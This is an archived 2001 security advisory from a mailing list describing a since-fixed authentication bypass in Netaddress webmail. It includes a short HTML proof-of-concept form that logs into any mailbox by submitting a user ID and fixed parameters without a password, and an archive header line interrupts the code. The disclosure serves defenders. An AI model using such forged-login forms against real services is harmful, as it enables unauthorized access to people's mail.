

# [NEWS] Netaddress Security Issue Solved (Passwordless Logon)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-08/0035.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/04/01

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Subject: [NEWS] Netaddress Security Issue Solved (Passwordless Logon)

Message-Id: <20010804195818.5764413903@mail.der-keiler.de>

Date: Sat, 4 Aug 2001 21:58:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

Netaddress Security Issue Solved (Passwordless Logon)

---

## SUMMARY

A security vulnerability in <<http://netaddress.com>> Netaddress allowed attackers to logon to any mailbox they desire by knowing only three parameters: maidid, domainid (value=4), domain (value=usa.net) (two of which are already known by default; the third, maidid, is the mail box's ID). This means that anyone could have logged on to any Netaddress mailbox without knowing its password.

This problem has been solved by USA.NET.

## DETAILS

Submitting a logon request the login CGI of Netaddress (/tpl/Door/Login) requires only three fields maidid, domainid (value=4), domain(value=usa.net). By creating an HTML file that contains all the three parameters and submitting it to <http://netaddress.com/tpl/door/login> (Note the double slash after neraddress.com), it is possible to bypass the password requirement.

Exploit code:

```
<html>
<form name="loginform"
action="http://classic.netaddress.com/tpl/Door/LoginPost" method="POST"
target=_blank>
<input type="hidden" name="LoginState" value="2">
<input type="hidden" name="DomainID" value="4">
```

Hypermail Development List: [NEWS] Netaddress Security Issue So

```
<input type="hidden" name="Domain" value="usa.net">
<b><font color="#FF0000" size="2" face="Arial">Netaddress Security hole –
Demo</font></b><font face="Arial" size="2"><br>
<br>
Developed By Syed Mohamed (<a
href="mailto:syedblr@hotmail.com">syedblr@hotmail.com</a>)<br>
<br>
Just Enter Login ID (enter example if netaddress id is
example@usa.net)</font>
<p>
<input type="text" size="16" name="UserID" value="">
<input type="submit" value="Login">
</form>
</p>
</html>
```

Vendor's response:  
USA.NET's technical and security teams have been made aware of this issue and it has been corrected.

ADDITIONAL INFORMATION

The information has been provided by <mailto:syedblr@hotmail.com> syed mohamed.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



- **Next message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Poor Security on Default Windows 2000 Server Installation Could Lead to Unauthorized Database Access"
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[UNIX] Vulnerability Found In 'oracle' Binary"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)